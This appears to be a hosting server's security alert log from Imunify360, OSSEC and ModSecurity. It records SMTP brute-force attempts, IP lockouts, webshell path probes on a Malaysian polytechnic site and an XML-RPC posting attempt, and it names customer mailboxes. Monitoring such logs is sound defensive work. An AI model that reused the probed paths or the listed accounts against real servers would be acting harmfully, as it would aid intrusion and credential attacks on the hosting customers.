2026-01-27  9:13:16 793638 [Warning] Aborted connection 793638 to db: 'unconnected' user: 'unauthenticated' host: '167.94.146.60' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:13:21 dovecot_login authenticator failed for H=(YKBRCr6P) [178.16.54.22]:57096: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:14:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:14:49 dovecot_login authenticator failed for H=(GEjbbg) [178.16.54.22]:51104: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:15:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:15:22 dovecot_login authenticator failed for H=(uwEqS81M) [178.16.54.22]:65301: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:16:27 dovecot_login authenticator failed for H=(zdjxTne) [178.16.54.22]:51260: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 09:16:06 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:16:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.40
country_id: 2750405
description:
2026-01-27 09:17:14 H=([185.214.10.40]) [185.214.10.40]:59893 F=<no-reply@chs.com.my> rejected RCPT <sales@chs.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:17:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:17:28 dovecot_login authenticator failed for H=(tjpsEtm) [178.16.54.22]:60257: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.171.150.189
country_id: 3469034
description:
Jan 27 09:18:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.171.150.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.173
country_id: 3175395
description:
Jan 27 09:18:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:18:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:18:29 dovecot_login authenticator failed for H=(nZP0GSNubU) [178.16.54.22]:58949: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:19:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:19:18 dovecot_login authenticator failed for H=(DvUjbfq5F) [178.16.54.22]:64186: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:20:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:20:17 dovecot_login authenticator failed for H=(gYG83QJb72) [178.16.54.22]:53333: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 09:22:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.83.94.16
country_id: 1643084
description:
Jan 27 09:22:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.83.94.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/vendor/vide/img/photos/news.php||SC:/home2/pspolycom/public_html/vendor/vide/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:23:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:23:26 dovecot_login authenticator failed for H=(k6fhS22c) [178.16.54.22]:55628: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:24:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:24:29 dovecot_login authenticator failed for H=(Wc0dJLcx) [178.16.54.22]:52721: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/master/style-switcher/img/photos/news.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/vendor/vide/img/demos/news.php||SC:/home2/pspolycom/public_html/vendor/vide/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:25:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:25:33 dovecot_login authenticator failed for H=(bms4S7) [178.16.54.22]:49184: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/vendor/jquery.validation/img/photos/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:26:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:26:13 dovecot_login authenticator failed for H=(X0NE1FA) [178.16.54.22]:50683: 535 Incorrect authentication data (set_id=bentey)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/img/news.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:27:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:27:29 dovecot_login authenticator failed for H=(DZCjsAJ) [178.16.54.22]:56592: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:28:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:28:28 dovecot_login authenticator failed for H=(TzG5toyVz) [178.16.54.22]:58530: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/vendor/rs-plugin/js/img/photos/news.php||SC:/home2/pspolycom/public_html/vendor/rs-plugin/js/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/vendor/magnific-popup/img/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:29:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:29:02 dovecot_login authenticator failed for H=(btpCN5) [178.16.54.22]:58059: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 09:30:51 H=([45.144.212.242]) [45.144.212.242]:57047 F=<no_reply@admin.com> rejected RCPT <emma@agsaintifik.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:30:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/vendor/jquery.validation/img/about.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:30:14 dovecot_login authenticator failed for H=(VlzLQf) [178.16.54.22]:63197: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:30:33 dovecot_login authenticator failed for H=(0qqEq0) [178.16.54.22]:56932: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.194
country_id: 6252001
description:
Jan 27 09:30:46 sv3 pure-ftpd[1984883]: (?@162.142.125.194) [INFO] New connection from 162.142.125.194


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:31:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:31:06 dovecot_login authenticator failed for H=(FXOrVP) [178.16.54.22]:49907: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-27 09:31:38 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/master/style-switcher/img/demos/vendor/modernizr/news.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:32:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:32:26 dovecot_login authenticator failed for H=(orCdUBBX) [178.16.54.22]:52202: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 09:32:54 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/vendor/jquery-cookie/img/new-development.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:33:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:33:03 dovecot_login authenticator failed for H=(fRGwLBVeU) [178.16.54.22]:53778: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/vendor/owl.carousel/js/demos/img/master/style-switcher/contact-us.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/js||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:34:53 dovecot_login authenticator failed for H=(GQi7X8jNb) [178.16.54.22]:49461: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/vendor/owl.carousel/js/master/style-switcher/img/demos/news.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/js||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.168
country_id: 1269750
description:
Jan 27 09:34:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/vendor/bootstrap/js/img/photos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/vendor/bootstrap/js/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:35:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.142.146.167
country_id: 1835841
description:
Jan 27 09:35:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.142.146.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-27 09:35:50 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:48090: 535 Incorrect authentication data (set_id=webmaster@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:35:19 dovecot_login authenticator failed for H=(aok7tsgma) [178.16.54.22]:57665: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-27 09:36:02 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:43702: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 09:36:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56844: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/examples/vendor/jquery/master/style-switcher/img/demos/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.66.214.34
country_id: 1269750
description:
Jan 27 09:36:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.66.214.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:36:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-01-27 09:36:45 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:55442: 535 Incorrect authentication data (set_id=pftfood@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:36:05 dovecot_login authenticator failed for H=(hnObJyM1) [178.16.54.22]:63303: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 09:36:31 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.194.142.167
country_id: 1814991
description:
Jan 27 09:36:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.194.142.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.113.27
country_id: 1835841
description:
Jan 27 09:37:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.113.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:37:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:37:25 dovecot_login authenticator failed for H=(1HO1fph7zi) [178.16.54.22]:54552: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/examples/master/style-switcher/img/demos/news.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:38:39 dovecot_login authenticator failed for H=(9EFqYlFeuo) [178.16.54.22]:63618: 535 Incorrect authentication data (set_id=bentey)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/vendor/jquery.validation/img/photos/about.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:38:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/vendor/isotope/master/style-switcher/img/photos/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:39:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:39:12 dovecot_login authenticator failed for H=(jq4qzi2Kr) [178.16.54.22]:64377: 535 Incorrect authentication data (set_id=bentey)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/vendor/isotope/master/style-switcher/img/photos/new-development.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:40:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:40:13 dovecot_login authenticator failed for H=(wbu0aoaBFQ) [178.16.54.22]:63044: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.243.234
country_id: 6252001
domain: mail.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/js/vendor/magnific-popup/img/photos/new-development.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:41:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:41:15 dovecot_login authenticator failed for H=(aGDMMm) [178.16.54.22]:61979: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 09:42:21 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 09:45:40 H=([45.144.212.242]) [45.144.212.242]:56053 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.217.72.1
country_id: 1269750
domain: visoft.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:94540.visoft.com.my||ServerName:visoft.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:756968e2b88e247a952e4d793648553dc58899ce||Title:0x8b120f25||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/index.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.238
country_id: 3175395
description:
Jan 27 09:46:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.238 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-27 09:46:41 +0800] info [webmaild] 175.136.123.47 - roz@af-sb.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.35
country_id: 798544
description:
